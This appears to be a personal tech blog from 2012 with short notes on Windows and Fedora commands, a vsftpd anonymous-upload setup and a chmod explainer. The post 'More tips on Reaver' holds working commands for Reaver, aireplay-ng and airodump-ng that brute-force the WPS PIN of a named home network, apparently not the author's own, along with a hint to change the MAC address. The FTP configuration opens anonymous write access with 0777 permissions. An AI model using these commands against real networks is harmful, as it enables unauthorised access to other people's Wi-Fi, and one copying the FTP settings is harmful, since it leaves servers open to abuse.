Monday, October 1, 2012

WINDOWS - view text in command prompt

more abcd.txt

or

type abcd.txt | more

vsftpd - Very Secure FTP Daemon


[root@bordeaux saini]$ cd /var/ftp/
[root@bordeaux ftp]$ mkdir SharedMovies
[root@bordeaux ftp]$ mount --bind /home/saini/Movies/ /var/ftp/SharedMovies/

[root@bordeaux saini]$ chown ftp:ftp Upload
[root@bordeaux saini]$ chmod 777 Upload

[root@bordeaux saini]$ mkdir /var/ftp/Uploads
[root@bordeaux saini]$ mount --bind /home/saini/Upload/ /var/ftp/Uploads/

/etc/vsftpd/vsftpd.conf
anonymous_enable=YES
write_enable=YES
write_enable=YES
anon_upload_enable=YES
anon_mkdir_write_enable=YES
anon_other_write_enable=YES
dirmessage_enable=YES
dirlist_enable=YES
no_anon_password=YES
file_open_mode=0777
guest_enable=YES

service vsftpd restart

Fedora - SSH



service sshd status
service sshd start

CHMOD


execute = 001 in binary = 1 in octal
write = 010 in binary = 2 in octal
read = 100 in binary = 4 in octal

So where does the 7 come from?

7 in binary = 111 in decimal = read, write, execute

So you get:

read write execute = 111 = 1 + 2 + 4 = 7
read write no execute = 110 = 4 + 2 = 6
read no write execute = 101 = 4 + 1 = 5
read no write no execute = 100 = 4
no read write execute = 011 = 2 + 1 = 3
no read write no execute = 010 = 2
no read no write execute = 001 = 1
no read no write no execute = 000 = 0

FEDORA LINUX - restart




shutdown -r to reboot while shutdown -h halt

Monday, September 3, 2012

More tips on Reaver

Read here for more tips on Reaver

http://code.google.com/p/reaver-wps/wiki/HintsAndTips

If Reaver is not able to associate

If Reaver returns

[!] WARNING: Failed to associate with 90:94:E4:29:14:64 (ESSID: nadzhomie70@unifi)

Then try using aireplay-ng to associate with the BSSID

airreplay-ng -1 0 -a (BSSID) (mon interface)
aireplay-ng -1 0 -a  90:94:E4:29:14:64 mon0








When trying this command,

08:34:51  Waiting for beacon frame (BSSID: 90:94:E4:29:14:64) on channel 10
08:34:51  mon0 is on channel 10, but the AP uses channel 11

So i was scanning the wrong channel.

Redo Reaver and manually enter the channel number.

Note from http://code.google.com/p/reaver-wps/issues/detail?id=205

Try to use the -A option with aireplay-ng.

reaver -i mon0 -b XX:XX:XX:XX:XX:XX -c 11 -e network_name -vv -A

aireplay-ng -1 30 -a "mac AP" -h "mac client" -e "network name" mon0

sometimes aireplay-ng does listen on a wrong channel.
Simply run airodump-ng once on the right channel to fix that.

airodump-ng -c 11 wlan0


So this time

airodump-ng -c 11 wlan0

Then

 reaver -i mon0 -b  90:94:E4:29:14:64 -c 11 -vv -A

-A is not to associate with the AP. Let aireplay-ng accosicate with the AP

Change the MAC address if needed.